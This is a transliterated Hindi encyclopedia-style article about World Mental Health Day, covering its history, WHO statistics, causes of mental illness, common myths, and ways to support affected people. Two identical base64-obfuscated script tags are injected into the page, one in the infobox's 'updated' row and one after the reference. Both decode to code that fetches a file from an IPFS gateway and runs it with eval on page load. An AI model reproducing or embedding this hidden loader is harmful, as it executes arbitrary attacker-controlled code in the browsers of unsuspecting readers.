विश्व मानसिक स्वास्थ्य दिवस
vishv manasik svasthy divas
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| vivaran | 'vishv manasik svasthy divas' poore vishv mean manasik svasthy ke muddoan par jagarookata paida karane ke lie prativarsh manaya jata hai. is varsh is divas ka vishay "karyasthal mean manasik svasthy" rakha gaya hai. |
| uddeshy | duniya bhar mean logoan ko manasik bimari ke prati jagarook karana aur janahit ko dhyan mean rakhate hue sarakar ko svasthy nitiyoan ke nirman ke lie prerit karana. |
| shuruat | 1982 |
| tithi | 10 aktoobar |
| sanbandhit lekh | vishv svasthy divas |
| any janakari | vishv svasthy sangathan ke anusar manasik vikaroan se pi dit vyaktiyoan ki anumanit sankhya 450 miliyan hai. bharat mean lagabhag 1.5 miliyan vyakti, jinamean bachche evan kishor bhi shamil hai, ganbhir manasik svasthy samasyaoan se prabhavit haian. |
| adyatan | 14:01, 14 aktoobar 2016 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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vishv manasik svasthy divas (aangrezi: World Mental Health Day) poore vishv mean manasik svasthy ke muddoan par jagarookata paida karane ke lie prativarsh 10 aktoobar ko manaya jata hai. is varsh vishv manasik svasthy divas ka vishay "karyasthal mean manasik svasthy" rakha gaya hai. isake anusar manovaijnanik prathamik chikitsa mean samajik evan manovaijnanik donoan sahayogoan ko shamil kiya gaya hai. jaise ki samany svasthy dekhabhal kabhi bhi akele sharirik prathamik upachar ke nahian hoti hai, vaise hi manasik svasthy dekhabhal pranali akele manovaijnanik prathamik upachar ke nahian hoti hai. nissandeh, manovaijnanik prathamik chikitsa ke kshetr mean nivesh lanbi avadhi ke prayas ka hissa hai jo ki yah sunishchit karata hai ki sankat ke karan koee bhi ganbhir samasya se pi dit vyakti buniyadi sahayog prapt karane mean saksham hoga tatha jin logoan ko manovaijnanik prathamik chikitsa se zyada sevaoan ki avashyakata hogi, unhean atirikt unnat sahayog svasthy, manasik svasthy evan samajik sevaoan se prapt hoga.[1]
kya hai manasik bimari
manasik svasthy vikar vishv bhar mean hone vali samany bimariyoan mean se ek hai. vishv svasthy sangathan ke anusar manasik vikaroan se pi dit vyaktiyoan ki anumanit sankhya 450 miliyan hai. bharat mean lagabhag 1.5 miliyan vyakti jinamean bachche evan kishor bhi shamil hai, ganbhir manasik svasthy samasyaoan se prabhavit haian. manasik bimari vyakti ke mahasoos, sochane evan kam karane ke tarike ko prabhavit karati hai. yah rog vyakti ke manoyog, svabhav, dhyan aur sanyojan evan batachit karane ki kshamata mean samasya paida karata hai. aantatah vyakti asamany vyavahar ka shikar ho jata hai. use dainik jivan ke karyakalapoan ke lie bhi sangharsh karana p data haian, jisake karan yah ganbhir samasya svasthy chianta ka vishay ban gayi hai. isalie bharat sarakar ne desh mean manasik bimari ke badhate bojh par vichar karane ke uddeshy se varsh 1982 mean rashtriy manasik svasthy karyakram (enemechapi) ki shurooat ki thi.[1]
bimari ke mool karan
manasik svasthy samasyaoan ke lie nimnalikhit karak uttaradayi haian, jaise ki –
- parivesh sanbandhi tanav jaise ki chianta, akelapan, sathiyoan ka dabav, atmasamman mean kami, parivar mean mrityu ya talak.
- durghatana, chot, hiansa evan balatkar se manovaijnanik aghat hona.
- anuvanshik asamanyataean.
- mastishk ki chot/dosh.
- alkohal evan drags jaise madak padarthoan ka sevan.
- sankraman ke karan mastishk ki kshati.
logoan mean vyapt bhraantiyaan
yah sabase b di galat dharana hai ki manasik vikaroan se pi dit vyakti janata ke lie hiansak evan khataranak hote haian. is tarah ka nakaratmak ravaiya evan galatafahami ke parinamasvaroop manasik vikaroan se pi dit vyakti samaj se adhik door ho jate haian. isaka parinam samajik bhraantiyaan hi haian. manasik vikar se pi dit vyaktiyoan ka prabhavi dhang se sanvad n karane ki kshamata ke karan, unaka sanpoorn samaj ke sath-sath samany janata par hanikarak prabhav p data hai lekin manasik vikar se pi dit vyakti jan-jagarookata evan samajik sahayog se in bhraantiyoan ko door karane mean mahatvapoorn bhoomika ka nirvah kar sakata hai.[1]
pi dit vyakti se vyavahar
- unaki bhavanaoan evan svabhav ko samajhean tatha unake sath prabhavi dhang se sanvad karane ka prayas karean.
- unhean bhavanatmak evan samajik sahayog dean.
- unake sath dhairyapoorvak vyavahar karean tatha unake atmavishvas ko badhava dene mean sahayog karean.
- unhean rachanatmak evan manoranjak gatividhiyoan jaise ki padhane, khelane, ghoomane, yog v dhyan evan yatra mean bhag lene ke lie protsahit karean.
- unhean naya sikhane evan nayi ruchiyaan vikasit karane mean prerit karean.
- unamean jivan ke prati sakaratmak soch evan ravaiya paida karean.
- apane dainik kamakajoan se samay nikalakar unaki sahayata karean.[1]
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tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 1.3 vishv manasik svasthy divas (hindi) hi.nhp.gov.in. abhigaman tithi: 14 aktoobar, 2016.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahari k diyaan
sanbandhit lekh
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varnamala kramanusar lekh khoj
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